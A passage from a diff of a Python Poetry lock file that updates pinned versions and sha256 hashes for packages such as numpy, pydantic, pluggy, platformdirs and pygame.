"sha256:12c3e887d6485d16943a309616de20ae5582633e0a2eda17f4e10fd61c1e8af5"}, ] [package.extras] @@ -693,13 +690,13 @@ files = [ [[package]] name = "importlib-metadata" -version = "6.7.0" +version = "6.8.0" description = "Read metadata from Python packages" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "importlib_metadata-6.7.0-py3-none-any.whl", hash = "sha256:cb52082e659e97afc5dac71e79de97d8681de3aa07ff18578330904a9d18e5b5"}, - {file = "importlib_metadata-6.7.0.tar.gz", hash = "sha256:1aaf550d4f73e5d6783e7acb77aec43d49da8017410afae93822cc9cca98c4d4"}, + {file = "importlib_metadata-6.8.0-py3-none-any.whl", hash = "sha256:3ebb78df84a805d7698245025b975d9d67053cd94c79245ba4b3eb694abe68bb"}, + {file = "importlib_metadata-6.8.0.tar.gz", hash = "sha256:dbace7892d8c0c4ac1ad096662232f831d4e64f4c4545bd53016a3e9d4654743"}, ] [package.dependencies] @@ -708,7 +705,7 @@ zipp = ">=0.5" [package.extras] docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"] perf = ["ipython"] -testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)", "pytest-ruff"] +testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)", "pytest-ruff"] [[package]] name = "incremental" @@ -984,39 +981,39 @@ files = [ [[package]] name = "numpy" -version = "1.24.3" +version = "1.24.4" description = "Fundamental package for array computing in Python" optional = false python-versions = ">=3.8" files = [ - {file = "numpy-1.24.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3c1104d3c036fb81ab923f507536daedc718d0ad5a8707c6061cdfd6d184e570"}, - {file = "numpy-1.24.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:202de8f38fc4a45a3eea4b63e2f376e5f2dc64ef0fa692838e31a808520efaf7"}, - {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8535303847b89aa6b0f00aa1dc62867b5a32923e4d1681a35b5eef2d9591a463"}, - {file = "numpy-1.24.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d926b52ba1367f9acb76b0df6ed21f0b16a1ad87c6720a1121674e5cf63e2b6"}, - {file = "numpy-1.24.3-cp310-cp310-win32.whl", hash = "sha256:f21c442fdd2805e91799fbe044a7b999b8571bb0ab0f7850d0cb9641a687092b"}, - {file = "numpy-1.24.3-cp310-cp310-win_amd64.whl", hash = "sha256:ab5f23af8c16022663a652d3b25dcdc272ac3f83c3af4c02eb8b824e6b3ab9d7"}, - {file = "numpy-1.24.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9a7721ec204d3a237225db3e194c25268faf92e19338a35f3a224469cb6039a3"}, - {file = "numpy-1.24.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d6cc757de514c00b24ae8cf5c876af2a7c3df189028d68c0cb4eaa9cd5afc2bf"}, - {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76e3f4e85fc5d4fd311f6e9b794d0c00e7002ec122be271f2019d63376f1d385"}, - {file = "numpy-1.24.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a1d3c026f57ceaad42f8231305d4653d5f05dc6332a730ae5c0bea3513de0950"}, - {file = "numpy-1.24.3-cp311-cp311-win32.whl", hash = "sha256:c91c4afd8abc3908e00a44b2672718905b8611503f7ff87390cc0ac3423fb096"}, - {file = "numpy-1.24.3-cp311-cp311-win_amd64.whl", hash = "sha256:5342cf6aad47943286afa6f1609cad9b4266a05e7f2ec408e2cf7aea7ff69d80"}, - {file = "numpy-1.24.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7776ea65423ca6a15255ba1872d82d207bd1e09f6d0894ee4a64678dd2204078"}, - {file = "numpy-1.24.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ae8d0be48d1b6ed82588934aaaa179875e7dc4f3d84da18d7eae6eb3f06c242c"}, - {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ecde0f8adef7dfdec993fd54b0f78183051b6580f606111a6d789cd14c61ea0c"}, - {file = "numpy-1.24.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4749e053a29364d3452c034827102ee100986903263e89884922ef01a0a6fd2f"}, - {file = "numpy-1.24.3-cp38-cp38-win32.whl", hash = "sha256:d933fabd8f6a319e8530d0de4fcc2e6a61917e0b0c271fded460032db42a0fe4"}, - {file = "numpy-1.24.3-cp38-cp38-win_amd64.whl", hash = "sha256:56e48aec79ae238f6e4395886b5eaed058abb7231fb3361ddd7bfdf4eed54289"}, - {file = "numpy-1.24.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4719d5aefb5189f50887773699eaf94e7d1e02bf36c1a9d353d9f46703758ca4"}, - {file = "numpy-1.24.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0ec87a7084caa559c36e0a2309e4ecb1baa03b687201d0a847c8b0ed476a7187"}, - {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea8282b9bcfe2b5e7d491d0bf7f3e2da29700cec05b49e64d6246923329f2b02"}, - {file = "numpy-1.24.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:210461d87fb02a84ef243cac5e814aad2b7f4be953b32cb53327bb49fd77fbb4"}, - {file = "numpy-1.24.3-cp39-cp39-win32.whl", hash = "sha256:784c6da1a07818491b0ffd63c6bbe5a33deaa0e25a20e1b3ea20cf0e43f8046c"}, - {file = "numpy-1.24.3-cp39-cp39-win_amd64.whl", hash = "sha256:d5036197ecae68d7f491fcdb4df90082b0d4960ca6599ba2659957aafced7c17"}, - {file = "numpy-1.24.3-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:352ee00c7f8387b44d19f4cada524586f07379c0d49270f87233983bc5087ca0"}, - {file = "numpy-1.24.3-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a7d6acc2e7524c9955e5c903160aa4ea083736fde7e91276b0e5d98e6332812"}, - {file = "numpy-1.24.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:35400e6a8d102fd07c71ed7dcadd9eb62ee9a6e84ec159bd48c28235bbb0f8e4"}, - {file = "numpy-1.24.3.tar.gz", hash = "sha256:ab344f1bf21f140adab8e47fdbc7c35a477dc01408791f8ba00d018dd0bc5155"}, + {file = "numpy-1.24.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c0bfb52d2169d58c1cdb8cc1f16989101639b34c7d3ce60ed70b19c63eba0b64"}, + {file = "numpy-1.24.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ed094d4f0c177b1b8e7aa9cba7d6ceed51c0e569a5318ac0ca9a090680a6a1b1"}, + {file = "numpy-1.24.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79fc682a374c4a8ed08b331bef9c5f582585d1048fa6d80bc6c35bc384eee9b4"}, + {file = "numpy-1.24.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ffe43c74893dbf38c2b0a1f5428760a1a9c98285553c89e12d70a96a7f3a4d6"}, + {file = "numpy-1.24.4-cp310-cp310-win32.whl", hash = "sha256:4c21decb6ea94057331e111a5bed9a79d335658c27ce2adb580fb4d54f2ad9bc"}, + {file = "numpy-1.24.4-cp310-cp310-win_amd64.whl", hash = "sha256:b4bea75e47d9586d31e892a7401f76e909712a0fd510f58f5337bea9572c571e"}, + {file = "numpy-1.24.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f136bab9c2cfd8da131132c2cf6cc27331dd6fae65f95f69dcd4ae3c3639c810"}, + {file = "numpy-1.24.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e2926dac25b313635e4d6cf4dc4e51c8c0ebfed60b801c799ffc4c32bf3d1254"}, + {file = "numpy-1.24.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:222e40d0e2548690405b0b3c7b21d1169117391c2e82c378467ef9ab4c8f0da7"}, + {file = "numpy-1.24.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7215847ce88a85ce39baf9e89070cb860c98fdddacbaa6c0da3ffb31b3350bd5"}, + {file = "numpy-1.24.4-cp311-cp311-win32.whl", hash = "sha256:4979217d7de511a8d57f4b4b5b2b965f707768440c17cb70fbf254c4b225238d"}, + {file = "numpy-1.24.4-cp311-cp311-win_amd64.whl", hash = "sha256:b7b1fc9864d7d39e28f41d089bfd6353cb5f27ecd9905348c24187a768c79694"}, + {file = "numpy-1.24.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1452241c290f3e2a312c137a9999cdbf63f78864d63c79039bda65ee86943f61"}, + {file = "numpy-1.24.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:04640dab83f7c6c85abf9cd729c5b65f1ebd0ccf9de90b270cd61935eef0197f"}, + {file = "numpy-1.24.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5425b114831d1e77e4b5d812b69d11d962e104095a5b9c3b641a218abcc050e"}, + {file = "numpy-1.24.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd80e219fd4c71fc3699fc1dadac5dcf4fd882bfc6f7ec53d30fa197b8ee22dc"}, + {file = "numpy-1.24.4-cp38-cp38-win32.whl", hash = "sha256:4602244f345453db537be5314d3983dbf5834a9701b7723ec28923e2889e0bb2"}, + {file = "numpy-1.24.4-cp38-cp38-win_amd64.whl", hash = "sha256:692f2e0f55794943c5bfff12b3f56f99af76f902fc47487bdfe97856de51a706"}, + {file = "numpy-1.24.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2541312fbf09977f3b3ad449c4e5f4bb55d0dbf79226d7724211acc905049400"}, + {file = "numpy-1.24.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:9667575fb6d13c95f1b36aca12c5ee3356bf001b714fc354eb5465ce1609e62f"}, + {file = "numpy-1.24.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3a86ed21e4f87050382c7bc96571755193c4c1392490744ac73d660e8f564a9"}, + {file = "numpy-1.24.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d11efb4dbecbdf22508d55e48d9c8384db795e1b7b51ea735289ff96613ff74d"}, + {file = "numpy-1.24.4-cp39-cp39-win32.whl", hash = "sha256:6620c0acd41dbcb368610bb2f4d83145674040025e5536954782467100aa8835"}, + {file = "numpy-1.24.4-cp39-cp39-win_amd64.whl", hash = "sha256:befe2bf740fd8373cf56149a5c23a0f601e82869598d41f8e188a0e9869926f8"}, + {file = "numpy-1.24.4-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:31f13e25b4e304632a4619d0e0777662c2ffea99fcae2029556b17d8ff958aef"}, + {file = "numpy-1.24.4-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95f7ac6540e95bc440ad77f56e520da5bf877f87dca58bd095288dce8940532a"}, + {file = "numpy-1.24.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e98f220aa76ca2a977fe435f5b04d7b3470c0a2e6312907b37ba6068f26787f2"}, + {file = "numpy-1.24.4.tar.gz", hash = "sha256:80f5e3a4e498641401868df4208b74581206afbee7cf7b8329daae82676d9463"}, ] [[package]] @@ -1074,13 +1071,13 @@ files = [ [[package]] name = "platformdirs" -version = "3.6.0" +version = "3.9.1" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." optional = false python-versions = ">=3.7" files = [ - {file = "platformdirs-3.6.0-py3-none-any.whl", hash = "sha256:ffa199e3fbab8365778c4a10e1fbf1b9cd50707de826eb304b50e57ec0cc8d38"}, - {file = "platformdirs-3.6.0.tar.gz", hash = "sha256:57e28820ca8094678b807ff529196506d7a21e17156cb1cddb3e74cebce54640"}, + {file = "platformdirs-3.9.1-py3-none-any.whl", hash = "sha256:ad8291ae0ae5072f66c16945166cb11c63394c7a3ad1b1bc9828ca3162da8c2f"}, + {file = "platformdirs-3.9.1.tar.gz", hash = "sha256:1b42b450ad933e981d56e59f1b97495428c9bd60698baab9f3eb3d00d5822421"}, ] [package.extras] @@ -1089,13 +1086,13 @@ test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest- [[package]] name = "pluggy" -version = "1.0.0" +version = "1.2.0" description = "plugin and hook calling mechanisms for python" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "pluggy-1.0.0-py2.py3-none-any.whl", hash = "sha256:74134bbf457f031a36d68416e1509f34bd5ccc019f0bcc952c7b909d06b37bd3"}, - {file = "pluggy-1.0.0.tar.gz", hash = "sha256:4224373bacce55f955a878bf9cfa763c1e360858e330072059e10bad68531159"}, + {file = "pluggy-1.2.0-py3-none-any.whl", hash = "sha256:c2fd55a7d7a3863cba1a013e4e2414658b1d07b6bc57b3919e0c63c9abb99849"}, + {file = "pluggy-1.2.0.tar.gz", hash = "sha256:d12f0c4b579b15f5e054301bb226ee85eeeba08ffec228092f8defbaa3a4c4b3"}, ] [package.extras] @@ -1115,13 +1112,13 @@ files = [ [[package]] name = "prompt-toolkit" -version = "3.0.38" +version = "3.0.39" description = "Library for building powerful interactive command lines in Python" optional = false python-versions = ">=3.7.0" files = [ - {file = "prompt_toolkit-3.0.38-py3-none-any.whl", hash = "sha256:45ea77a2f7c60418850331366c81cf6b5b9cf4c7fd34616f733c5427e6abbb1f"}, - {file = "prompt_toolkit-3.0.38.tar.gz", hash = "sha256:23ac5d50538a9a38c8bde05fecb47d0b403ecd0662857a86f886f798563d5b9b"}, + {file = "prompt_toolkit-3.0.39-py3-none-any.whl", hash = "sha256:9dffbe1d8acf91e3de75f3b544e4842382fc06c6babe903ac9acb74dc6e08d88"}, + {file = "prompt_toolkit-3.0.39.tar.gz", hash = "sha256:04505ade687dc26dc4284b1ad19a83be2f2afe83e7a828ace0c72f3a1df72aac"}, ] [package.dependencies] @@ -1206,47 +1203,47 @@ files = [ [[package]] name = "pydantic" -version = "1.10.9" +version = "1.10.11" description = "Data validation and settings management using python type hints" optional = false python-versions = ">=3.7" files = [ - {file = "pydantic-1.10.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e692dec4a40bfb40ca530e07805b1208c1de071a18d26af4a2a0d79015b352ca"}, - {file = "pydantic-1.10.9-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3c52eb595db83e189419bf337b59154bdcca642ee4b2a09e5d7797e41ace783f"}, - {file = "pydantic-1.10.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:939328fd539b8d0edf244327398a667b6b140afd3bf7e347cf9813c736211896"}, - {file = "pydantic-1.10.9-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b48d3d634bca23b172f47f2335c617d3fcb4b3ba18481c96b7943a4c634f5c8d"}, - {file = "pydantic-1.10.9-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:f0b7628fb8efe60fe66fd4adadd7ad2304014770cdc1f4934db41fe46cc8825f"}, - {file = "pydantic-1.10.9-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:e1aa5c2410769ca28aa9a7841b80d9d9a1c5f223928ca8bec7e7c9a34d26b1d4"}, - {file = "pydantic-1.10.9-cp310-cp310-win_amd64.whl", hash = "sha256:eec39224b2b2e861259d6f3c8b6290d4e0fbdce147adb797484a42278a1a486f"}, - {file = "pydantic-1.10.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d111a21bbbfd85c17248130deac02bbd9b5e20b303338e0dbe0faa78330e37e0"}, - {file = "pydantic-1.10.9-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2e9aec8627a1a6823fc62fb96480abe3eb10168fd0d859ee3d3b395105ae19a7"}, - {file = "pydantic-1.10.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:07293ab08e7b4d3c9d7de4949a0ea571f11e4557d19ea24dd3ae0c524c0c334d"}, - {file = "pydantic-1.10.9-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7ee829b86ce984261d99ff2fd6e88f2230068d96c2a582f29583ed602ef3fc2c"}, - {file = "pydantic-1.10.9-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:4b466a23009ff5cdd7076eb56aca537c745ca491293cc38e72bf1e0e00de5b91"}, - {file = "pydantic-1.10.9-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7847ca62e581e6088d9000f3c497267868ca2fa89432714e21a4fb33a04d52e8"}, - {file = "pydantic-1.10.9-cp311-cp311-win_amd64.whl", hash = "sha256:7845b31959468bc5b78d7b95ec52fe5be32b55d0d09983a877cca6aedc51068f"}, - {file = "pydantic-1.10.9-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:517a681919bf880ce1dac7e5bc0c3af1e58ba118fd774da2ffcd93c5f96eaece"}, - {file = "pydantic-1.10.9-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:67195274fd27780f15c4c372f4ba9a5c02dad6d50647b917b6a92bf00b3d301a"}, - {file = "pydantic-1.10.9-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2196c06484da2b3fded1ab6dbe182bdabeb09f6318b7fdc412609ee2b564c49a"}, - {file = "pydantic-1.10.9-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:6257bb45ad78abacda13f15bde5886efd6bf549dd71085e64b8dcf9919c38b60"}, - {file = "pydantic-1.10.9-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:3283b574b01e8dbc982080d8287c968489d25329a463b29a90d4157de4f2baaf"}, - {file = "pydantic-1.10.9-cp37-cp37m-win_amd64.whl", hash = "sha256:5f8bbaf4013b9a50e8100333cc4e3fa2f81214033e05ac5aa44fa24a98670a29"}, - {file = "pydantic-1.10.9-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9cd67fb763248cbe38f0593cd8611bfe4b8ad82acb3bdf2b0898c23415a1f82"}, - {file = "pydantic-1.10.9-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f50e1764ce9353be67267e7fd0da08349397c7db17a562ad036aa7c8f4adfdb6"}, - {file = "pydantic-1.10.9-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:73ef93e5e1d3c8e83f1ff2e7fdd026d9e063c7e089394869a6e2985696693766"}, - {file = "pydantic-1.10.9-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:128d9453d92e6e81e881dd7e2484e08d8b164da5507f62d06ceecf84bf2e21d3"}, - {file = "pydantic-1.10.9-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ad428e92ab68798d9326bb3e5515bc927444a3d71a93b4a2ca02a8a5d795c572"}, - {file = "pydantic-1.10.9-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fab81a92f42d6d525dd47ced310b0c3e10c416bbfae5d59523e63ea22f82b31e"}, - {file = "pydantic-1.10.9-cp38-cp38-win_amd64.whl", hash = "sha256:963671eda0b6ba6926d8fc759e3e10335e1dc1b71ff2a43ed2efd6996634dafb"}, - {file = "pydantic-1.10.9-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:970b1bdc6243ef663ba5c7e36ac9ab1f2bfecb8ad297c9824b542d41a750b298"}, - {file = "pydantic-1.10.9-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7e1d5290044f620f80cf1c969c542a5468f3656de47b41aa78100c5baa2b8276"}, - {file = "pydantic-1.10.9-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83fcff3c7df7adff880622a98022626f4f6dbce6639a88a15a3ce0f96466cb60"}, - {file = "pydantic-1.10.9-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0da48717dc9495d3a8f215e0d012599db6b8092db02acac5e0d58a65248ec5bc"}, - {file = "pydantic-1.10.9-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:0a2aabdc73c2a5960e87c3ffebca6ccde88665616d1fd6d3db3178ef427b267a"}, - {file = "pydantic-1.10.9-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9863b9420d99dfa9c064042304868e8ba08e89081428a1c471858aa2af6f57c4"}, - {file = "pydantic-1.10.9-cp39-cp39-win_amd64.whl", hash = "sha256:e7c9900b43ac14110efa977be3da28931ffc74c27e96ee89fbcaaf0b0fe338e1"}, - {file = "pydantic-1.10.9-py3-none-any.whl", hash = "sha256:6cafde02f6699ce4ff643417d1a9223716ec25e228ddc3b436fe7e2d25a1f305"}, - {file = "pydantic-1.10.9.tar.gz", hash = "sha256:95c70da2cd3b6ddf3b9645ecaa8d98f3d80c606624b6d245558d202cd23ea3be"}, + {file = "pydantic-1.10.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ff44c5e89315b15ff1f7fdaf9853770b810936d6b01a7bcecaa227d2f8fe444f"}, + {file = "pydantic-1.10.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a6c098d4ab5e2d5b3984d3cb2527e2d6099d3de85630c8934efcfdc348a9760e"}, + {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16928fdc9cb273c6af00d9d5045434c39afba5f42325fb990add2c241402d151"}, + {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0588788a9a85f3e5e9ebca14211a496409cb3deca5b6971ff37c556d581854e7"}, + {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e9baf78b31da2dc3d3f346ef18e58ec5f12f5aaa17ac517e2ffd026a92a87588"}, + {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:373c0840f5c2b5b1ccadd9286782852b901055998136287828731868027a724f"}, + {file = "pydantic-1.10.11-cp310-cp310-win_amd64.whl", hash = "sha256:c3339a46bbe6013ef7bdd2844679bfe500347ac5742cd4019a88312aa58a9847"}, + {file = "pydantic-1.10.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08a6c32e1c3809fbc49debb96bf833164f3438b3696abf0fbeceb417d123e6eb"}, + {file = "pydantic-1.10.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a451ccab49971af043ec4e0d207cbc8cbe53dbf148ef9f19599024076fe9c25b"}, + {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02d24f7b2b365fed586ed73582c20f353a4c50e4be9ba2c57ab96f8091ddae"}, + {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3f34739a89260dfa420aa3cbd069fbcc794b25bbe5c0a214f8fb29e363484b66"}, + {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e297897eb4bebde985f72a46a7552a7556a3dd11e7f76acda0c1093e3dbcf216"}, + {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d185819a7a059550ecb85d5134e7d40f2565f3dd94cfd870132c5f91a89cf58c"}, + {file = "pydantic-1.10.11-cp311-cp311-win_amd64.whl", hash = "sha256:4400015f15c9b464c9db2d5d951b6a780102cfa5870f2c036d37c23b56f7fc1b"}, + {file = "pydantic-1.10.11-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2417de68290434461a266271fc57274a138510dca19982336639484c73a07af6"}, + {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:331c031ba1554b974c98679bd0780d89670d6fd6f53f5d70b10bdc9addee1713"}, + {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8268a735a14c308923e8958363e3a3404f6834bb98c11f5ab43251a4e410170c"}, + {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:44e51ba599c3ef227e168424e220cd3e544288c57829520dc90ea9cb190c3248"}, + {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d7781f1d13b19700b7949c5a639c764a077cbbdd4322ed505b449d3ca8edcb36"}, + {file = "pydantic-1.10.11-cp37-cp37m-win_amd64.whl", hash = "sha256:7522a7666157aa22b812ce14c827574ddccc94f361237ca6ea8bb0d5c38f1629"}, + {file = "pydantic-1.10.11-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc64eab9b19cd794a380179ac0e6752335e9555d214cfcb755820333c0784cb3"}, + {file = "pydantic-1.10.11-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:8dc77064471780262b6a68fe67e013298d130414d5aaf9b562c33987dbd2cf4f"}, + {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe429898f2c9dd209bd0632a606bddc06f8bce081bbd03d1c775a45886e2c1cb"}, + {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:192c608ad002a748e4a0bed2ddbcd98f9b56df50a7c24d9a931a8c5dd053bd3d"}, + {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ef55392ec4bb5721f4ded1096241e4b7151ba6d50a50a80a2526c854f42e6a2f"}, + {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:41e0bb6efe86281623abbeeb0be64eab740c865388ee934cd3e6a358784aca6e"}, + {file = "pydantic-1.10.11-cp38-cp38-win_amd64.whl", hash = "sha256:265a60da42f9f27e0b1014eab8acd3e53bd0bad5c5b4884e98a55f8f596b2c19"}, + {file = "pydantic-1.10.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:469adf96c8e2c2bbfa655fc7735a2a82f4c543d9fee97bd113a7fb509bf5e622"}, + {file = "pydantic-1.10.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e6cbfbd010b14c8a905a7b10f9fe090068d1744d46f9e0c021db28daeb8b6de1"}, + {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abade85268cc92dff86d6effcd917893130f0ff516f3d637f50dadc22ae93999"}, + {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9738b0f2e6c70f44ee0de53f2089d6002b10c33264abee07bdb5c7f03038303"}, + {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:787cf23e5a0cde753f2eabac1b2e73ae3844eb873fd1f5bdbff3048d8dbb7604"}, + {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:174899023337b9fc685ac8adaa7b047050616136ccd30e9070627c1aaab53a13"}, + {file = "pydantic-1.10.11-cp39-cp39-win_amd64.whl", hash = "sha256:1954f8778489a04b245a1e7b8b22a9d3ea8ef49337285693cf6959e4b757535e"}, + {file = "pydantic-1.10.11-py3-none-any.whl", hash = "sha256:008c5e266c8aada206d0627a011504e14268a62091450210eda7c07fabe6963e"}, + {file = "pydantic-1.10.11.tar.gz", hash = "sha256:f66d479cf7eb331372c470614be6511eae96f1f120344c25f3f9bb59fb1b5528"}, ] [package.dependencies] @@ -1258,100 +1255,87 @@ email = ["email-validator (>=1.0.3)"] [[package]] name = "pygame" -version = "2.4.0" +version = "2.5.0" description = "Python Game Development" optional = false python-versions = ">=3.6" files = [ - {file = "pygame-2.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:63591f381e5b28b90e115ac7a96f8ce5ecb917facb42d79d4f89714f89cc6d8e"}, - {file = "pygame-2.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:13511c7c29f0fc23636f3b95a96ab45f964e84073e7e27dc602a479cd274d89a"}, - {file = 